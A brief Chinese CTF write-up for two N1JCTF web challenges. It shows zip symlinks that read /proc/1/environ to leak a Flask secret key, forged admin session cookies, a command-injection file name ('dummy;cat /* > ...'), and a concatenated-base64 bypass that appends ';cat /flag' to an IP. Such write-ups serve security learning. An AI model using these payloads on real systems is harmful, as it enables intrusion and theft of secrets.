WebN1JCTF-wp随便看看
目录
【Web】N1JCTF wp(随便看看
online_unzipper
进来先试试功能

看看源码
注意到如果越权为admin,则可控制dirname的值

dirname为os.path.join的第二个参数

而os.path.join有一个逆天特性,如果能控制dirname为/,则可直接列出根目录下所有文件


想到zip很难不想到软连接,
但不能直接连接flag,因为文件名不可知

先尝试去越权到admin
一眼顶针读/proc/1/envrion,拿环境变量里的密钥
ln -s /proc/1/environ dummy.txt
zip --symlinks dummy.zip dummy.txt下载读到FLASK_SECRET_KEY

python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiWjNyNHkifQ.aMkpjg.6IhjoNDIM7h_F6MD3QDu7Wr9sPU" -s "test"
python flask_session_cookie_manager3.py encode -s "test" -t "{'role': 'admin', 'username': 'Z3r4y'}"成功伪造

指定dirname为/
看起来我的思路并不行;-(

换个路子,打命令注入

dummy;cat /* > /result.txtln -s /result.txt dummy2.txt
zip --symlinks dummy2.zip dummy2.txt
拿到flag

ping
感觉是命令注入
但正则限死了是只能是正常格式的ip

注意到第一个base64解码是用python的base64库,第二个用到是shell里的
思考的方向应该往二者之差异上去靠🤔
base64.b64decode默认validate为False,调用binascii.a2b_base64

去看binascii.a2b_base64的实现,是C封装的(

搜到了这篇文章

构造两段base64拼在一起
MTkyLjE2OC4xLjE=O2NhdCAvZmxhZw==赢了


拿到flag

后面的题又是xss又是socket的,不是我认可的题我不做🤬